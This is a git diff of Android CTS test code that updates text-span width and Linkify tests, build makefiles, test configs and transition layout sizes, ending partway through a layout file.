diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index 2f80106..f1dd4d9 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -237,7 +237,7 @@
event));
event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
- KeyEvent.META_SYM_LOCKED);
+ MetaKeyKeyListener.META_SYM_LOCKED);
assertEquals(2, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SYM_ON,
event));
diff --git a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java b/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
deleted file mode 100644
index ab524a7..0000000
--- a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.method.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.method.WordIterator;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.text.BreakIterator;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class WordIteratorTest {
- private WordIterator mWordIterator = new WordIterator();
-
- private void verifyIsWordWithSurrogate(int beginning, int end, int surrogateIndex) {
- for (int i = beginning; i <= end; i++) {
- if (i == surrogateIndex) continue;
- assertEquals(beginning, mWordIterator.getBeginning(i));
- assertEquals(end, mWordIterator.getEnd(i));
- }
- }
-
- private void setCharSequence(String string) {
- mWordIterator.setCharSequence(string, 0, string.length());
- }
-
- private void verifyIsWord(int beginning, int end) {
- verifyIsWordWithSurrogate(beginning, end, -1);
- }
-
- private void verifyIsNotWord(int beginning, int end) {
- for (int i = beginning; i <= end; i++) {
- assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(i));
- assertEquals(BreakIterator.DONE, mWordIterator.getEnd(i));
- }
- }
-
- @Test
- public void testEmptyString() {
- setCharSequence("");
- assertEquals(BreakIterator.DONE, mWordIterator.following(0));
- assertEquals(BreakIterator.DONE, mWordIterator.preceding(0));
-
- assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(0));
- assertEquals(BreakIterator.DONE, mWordIterator.getEnd(0));
- }
-
- @Test
- public void testOneWord() {
- setCharSequence("I");
- verifyIsWord(0, 1);
-
- setCharSequence("am");
- verifyIsWord(0, 2);
-
- setCharSequence("zen");
- verifyIsWord(0, 3);
- }
-
- @Test
- public void testSpacesOnly() {
- setCharSequence(" ");
- verifyIsNotWord(0, 1);
-
- setCharSequence(", ");
- verifyIsNotWord(0, 2);
-
- setCharSequence(":-)");
- verifyIsNotWord(0, 3);
- }
-
- @Test
- public void testBeginningEnd() {
- setCharSequence("Well hello, there! ");
- // 0123456789012345678901
- verifyIsWord(0, 4);
- verifyIsWord(5, 10);
- verifyIsNotWord(11, 13);
- verifyIsWord(14, 19);
- verifyIsNotWord(20, 21);
-
- setCharSequence(" Another - sentence");
- // 012345678901234567890
- verifyIsNotWord(0, 1);
- verifyIsWord(2, 9);
- verifyIsNotWord(10, 11);
- verifyIsWord(12, 20);
-
- setCharSequence("This is \u0644\u0627 tested"); // Lama-aleph
- // 012345678 9 01234567
- verifyIsWord(0, 4);
- verifyIsWord(5, 7);
- verifyIsWord(8, 10);
- verifyIsWord(11, 17);
- }
-
- @Test
- public void testSurrogate() {
- final String BAIRKAN = "\uD800\uDF31";
-
- setCharSequence("one we" + BAIRKAN + "ird word");
- // 012345 67 890123456
-
- verifyIsWord(0, 3);
- // Skip index 7 (there is no point in starting between the two surrogate characters)
- verifyIsWordWithSurrogate(4, 11, 7);
- verifyIsWord(12, 16);
-
- setCharSequence("one " + BAIRKAN + "xxx word");
- // 0123 45 678901234
-
- verifyIsWord(0, 3);
- verifyIsWordWithSurrogate(4, 9, 5);
- verifyIsWord(10, 14);
-
- setCharSequence("one xxx" + BAIRKAN + " word");
- // 0123456 78 901234
-
- verifyIsWord(0, 3);
- verifyIsWordWithSurrogate(4, 9, 8);
- verifyIsWord(10, 14);
- }
-}
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index bc07e0a..659be93 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -18,9 +18,9 @@
import static org.junit.Assert.assertEquals;
-import android.annotation.NonNull;
import android.os.LocaleList;
import android.os.Parcel;
+import android.support.annotation.NonNull;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index aa4ccdd..125b773 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -16,12 +16,16 @@
package android.text.style.cts;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.StrikethroughSpan;
@@ -88,4 +92,25 @@
p.recycle();
}
}
+
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Strike through just the "P".
+ text.setSpan(new StrikethroughSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float strokethroughLineWidth = textWidth(text);
+ assertEquals(origLineWidth, strokethroughLineWidth, 0.0f);
+ }
}
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 686f9c3..ff62273 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -21,15 +21,19 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.annotation.NonNull;
-import android.annotation.Nullable;
import android.content.Context;
import android.content.res.Configuration;
import android.os.LocaleList;
import android.os.Parcel;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextPaint;
import android.text.style.SuggestionSpan;
import org.junit.Test;
@@ -205,6 +209,31 @@
verifyGetLocaleObject(new Locale(" an ", " i n v a l i d ", "data"));
}
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+
+ final String[] suggestions = new String[]{"suggestion1", "suggestion2"};
+ final SuggestionSpan span = new SuggestionSpan(Locale.US, suggestions,
+ SuggestionSpan.FLAG_AUTO_CORRECTION);
+ // Put just the "P" in a suggestion span.
+ text.setSpan(span, 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
@NonNull
SuggestionSpan cloneViaParcel(@NonNull final SuggestionSpan original) {
Parcel parcel = null;
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 5af81d8..489edb2 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -17,10 +17,12 @@
package android.text.style.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.os.Parcel;
@@ -202,4 +204,62 @@
assertEquals(family, newSpan.getFamily());
p.recycle();
}
+
+ @Test
+ public void testCreateFromStyle_FontResource() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFont);
+ final TextPaint tp = new TextPaint();
+ final float originalTextWidth = tp.measureText("a");
+ span.updateDrawState(tp);
+ assertNotEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testWriteReadParcel_FontResource() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFont);
+
+ final Parcel p = Parcel.obtain();
+ span.writeToParcel(p, 0);
+ p.setDataPosition(0);
+ final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+ final TextPaint tp = new TextPaint();
+ span.updateDrawState(tp);
+ final float originalSpanTextWidth = tp.measureText("a");
+ unparceledSpan.updateDrawState(tp);
+ assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testWriteReadParcel_FontResource_WithStyle() {
+ final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+ android.text.cts.R.style.customFontWithStyle);
+
+ final Parcel p = Parcel.obtain();
+ span.writeToParcel(p, 0);
+ p.setDataPosition(0);
+ final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+ final TextPaint tp = new TextPaint();
+ span.updateDrawState(tp);
+ final float originalSpanTextWidth = tp.measureText("a");
+ unparceledSpan.updateDrawState(tp);
+ assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+ }
+
+ @Test
+ public void testRestrictContext() throws PackageManager.NameNotFoundException {
+ final Context ctx = mContext.createPackageContext(mContext.getPackageName(),
+ Context.CONTEXT_RESTRICTED);
+ final TextAppearanceSpan span = new TextAppearanceSpan(ctx,
+ android.text.cts.R.style.customFont);
+ final TextPaint tp = new TextPaint();
+ final float originalTextWidth = tp.measureText("a");
+ span.updateDrawState(tp);
+ // Custom font must not be loaded with the restricted context.
+ assertEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+
+ }
}
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 0661833..581417f 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -16,12 +16,16 @@
package android.text.style.cts;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.UnderlineSpan;
@@ -85,4 +89,113 @@
p.recycle();
}
}
+
+ // Measures the width of some potentially-spanned text, assuming it's not too wide.
+ private float textWidth(CharSequence text) {
+ final TextPaint tp = new TextPaint();
+ tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+ final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ text, 0, text.length(), tp, largeWidth).build();
+ return layout.getLineWidth(0);
+ }
+
+ @Test
+ public void testDoesntAffectWidth() {
+ {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the period.
+ text.setSpan(new UnderlineSpan(), 1, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P. P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the second "P".
+ text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ {
+ final SpannableString text = new SpannableString("P. P.");
+ final float origLineWidth = textWidth(text);
+ // Underline both "P"s.
+ text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+ }
+
+ private class SafeUnderlineSpan extends UnderlineSpan {
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used.
+ // The subclass is identical to UnderlineSpan in visual behavior, so it shouldn't affect width
+ // either.
+ @Test
+ public void testDoesntAffectWidth_safeSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new SafeUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
+ private class NoUnderlineSpan extends UnderlineSpan {
+ @Override
+ public void updateDrawState(TextPaint ds) {
+ // do not draw an underline
+ }
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+ // that doesn't draw an underline. This shouldn't affect width either.
+ @Test
+ public void testDoesntAffectWidth_noUnderlineSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new NoUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+ }
+
+ private class ElegantUnderlineSpan extends UnderlineSpan {
+ @Override
+ public void updateDrawState(TextPaint ds) {
+ super.updateDrawState(ds);
+ ds.setElegantTextHeight(true);
+ }
+ }
+
+ // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+ // that draws an underline and sets the font to elegant style. Since we may actually be
+ // changing fonts at the span boundary, this should increase width. Note that this subclass is
+ // not declared entirely correctly, and since it may affect metrics it should also extend
+ // MetricAffectingSpan, but we need to keep it behaving correctly for backward compatibility.
+ @Test
+ public void testAffectsWidth_ElegantSubclass() {
+ // Roboto kerns between "P" and "."
+ final SpannableString text = new SpannableString("P.");
+ final float origLineWidth = textWidth(text);
+ // Underline just the "P".
+ text.setSpan(new ElegantUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ final float underlinedLineWidth = textWidth(text);
+ assertTrue(underlinedLineWidth > origLineWidth + 1.0f);
+ }
}
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index ce3d7ed..e1c4742 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -25,13 +25,13 @@
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
+import android.telephony.TelephonyManager;
import android.text.Spannable;
import android.text.SpannableString;
import android.text.style.URLSpan;
import android.text.util.Linkify;
import android.text.util.Linkify.MatchFilter;
import android.text.util.Linkify.TransformFilter;
-import android.util.Patterns;
import android.widget.TextView;
import org.junit.Before;
@@ -354,10 +354,15 @@
+ " " + numbersUSLocal
+ " " + numbersIntl);
- // phonenumber linkify is locale-dependent
- if (Locale.US.equals(Locale.getDefault())) {
- assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+ // phonenumber linkify depends on the device's SIM card country.
+ final TelephonyManager tm =
+ (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+ final String region = tm.getSimCountryIso().toUpperCase(Locale.US);
+
+ assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
+ final URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+ if ("US".equals(region)) {
+ // For the US, these specific phone numbers should be detected.
assertEquals(9, spans.length);
assertEquals("tel:8121234562", spans[0].getURL());
assertEquals("tel:8121234563", spans[1].getURL());
@@ -368,56 +373,21 @@
assertEquals("tel:+4408121234565", spans[6].getURL());
assertEquals("tel:+18005551213", spans[7].getURL());
assertEquals("tel:+18005551214", spans[8].getURL());
+ } else {
+ // For other countries, the phone numbers that would be detected are based on the
+ // country, so the exact list is unknown, but the various international phone numbers,
+ // starting with '+', must always be detected, and must appear next to each other and
+ // at the end of the list.
+ assertTrue(spans.length >= 4);
+ assertEquals("tel:+4408121234564", spans[spans.length - 4].getURL());
+ assertEquals("tel:+4408121234565", spans[spans.length - 3].getURL());
+ assertEquals("tel:+18005551213", spans[spans.length - 2].getURL());
+ assertEquals("tel:+18005551214", spans[spans.length - 1].getURL());
}
assertFalse(Linkify.addLinks((Spannable) null, 0));
}
- @Test
- public void testAddLinks_addsLinksWhenDefaultSchemeIsNull() {
- Spannable spannable = new SpannableString("any https://android.com any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, null, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
- assertEquals("https://android.com", spans[0].getURL());
- assertEquals("android.com", spans[1].getURL());
- }
-
- @Test
- public void testAddLinks_addsLinksWhenSchemesArrayIsNull() {
- Spannable spannable = new SpannableString("any https://android.com any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://", null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
- // expected behavior, passing null schemes array means: prepend defaultScheme to all links.
- assertEquals("http://https://android.com", spans[0].getURL());
- assertEquals("http://android.com", spans[1].getURL());
- }
-
- @Test
- public void testAddLinks_prependsDefaultSchemeToBeginingOfLink() {
- Spannable spannable = new SpannableString("any android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
- new String[] { "http://", "https://"}, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com should be linkified", 1, spans.length);
- assertEquals("http://android.com", spans[0].getURL());
- }
-
- @Test
- public void testAddLinks_doesNotPrependSchemeIfSchemeExists() {
- Spannable spannable = new SpannableString("any https://android.com any");
- Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
- new String[] { "http://", "https://"}, null, null);
-
- URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
- assertEquals("android.com should be linkified", 1, spans.length);
- assertEquals("https://android.com", spans[0].getURL());
- }
-
// Add links with scheme (array)
@UiThreadTest
@@ -736,6 +706,9 @@
public void testAddLinks_email_matchesShortValidEmail() {
String email = "a@a.co";
verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
+
+ email = "ab@a.co";
+ verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
}
@Test
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 0f370d0..71d576d 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,12 +24,12 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index d9f15eb..e4e889d 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index 5a210a7..66ceb5d 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for Toast test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsToastTestCases.apk" />
diff --git a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
index 4ac88b3..c6865b7 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
@@ -18,6 +18,9 @@
import android.support.test.runner.AndroidJUnit4;
import android.view.WindowManager;
+
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -28,6 +31,7 @@
* like this app the only way to add toast windows is via the dedicated
* toast APIs.
*/
+@CddTest(requirement="3.8.5/C-1-2")
@RunWith(AndroidJUnit4.class)
public class LegacyToastTest extends BaseToastTest {
@Test
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index ac5825d..335c539 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/tests/tests/toastlegacy/AndroidTest.xml b/tests/tests/toastlegacy/AndroidTest.xml
index d483946..513ddc5 100644
--- a/tests/tests/toastlegacy/AndroidTest.xml
+++ b/tests/tests/toastlegacy/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for Toast legacy test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 7a072ee..cba0b45 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -31,13 +31,14 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ platform-test-annotations \
+ legacy-android-test
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/transition/res/layout/scene1.xml b/tests/tests/transition/res/layout/scene1.xml
index 140bb8d..35e45bb 100644
--- a/tests/tests/transition/res/layout/scene1.xml
+++ b/tests/tests/transition/res/layout/scene1.xml
@@ -19,13 +19,13 @@
android:layout_height="match_parent"
android:transitionName="holder"
android:id="@+id/holder">
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:transitionName="red"
android:id="@+id/redSquare" />
- <View android:layout_width="10dp"
- android:layout_height="10dp"
+ <View android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:transitionName="green"
android:id="@+id/greenSquare"
diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml
index 5403354..2fc9001 100644
--- a/tests/tests/transition/res/layout/scene10.xml
+++ b/tests/tests/transition/res/layout/scene10.xml
@@ -22,29 +22,29 @@
android:transitionName="holder"
android:id="@+id/holder">
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:layout_alignParentLeft="true"
android:layout_alignParentTop="true"
android:id="@+id/redSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:id="@+id/greenSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#00F"
android:layout_alignParentRight="true"
android:layout_alignParentBottom="true"
android:id="@+id/blueSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#FF0"
android:layout_alignParentLeft="true"
android:layout_alignParentBottom="true"
diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml
index dc6ef19..3c90df9 100644
--- a/tests/tests/transition/res/layout/scene11.xml
+++ b/tests/tests/transition/res/layout/scene11.xml
@@ -23,6 +23,6 @@
<ImageView
android:id="@+id/redSquare"
android:src="#F00"
- android:layout_width="10dp"
- android:layout_height="10dp"/>
+ android:layout_width="30dp"
+ android:layout_height="30dp"/>
</RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml
index 559ab39..239901e 100644
--- a/tests/tests/transition/res/layout/scene12.xml
+++ b/tests/tests/transition/res/layout/scene12.xml
@@ -23,23 +23,23 @@
android:orientation="horizontal"
android:id="@+id/holder">
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:id="@+id/redSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#0F0"
android:id="@+id/greenSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#00F"
android:id="@+id/blueSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#FF0"
android:id="@+id/yellowSquare"/>
</LinearLayout>
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
index e6a4caf..c7c0575 100644
--- a/tests/tests/transition/res/layout/scene13.xml
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -22,34 +22,34 @@
android:transitionName="holder"
android:id="@+id/holder">
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#F00"
android:layout_centerInParent="true"
android:transitionName="redSquare"
android:id="@+id/redSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
+ android:layout_height="30dp"
android:background="#000"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:id="@+id/blackSquare"/>
<View
- android:layout_width="10dp"
- android:layout_height="10dp"
+ android:layout_width="30dp"
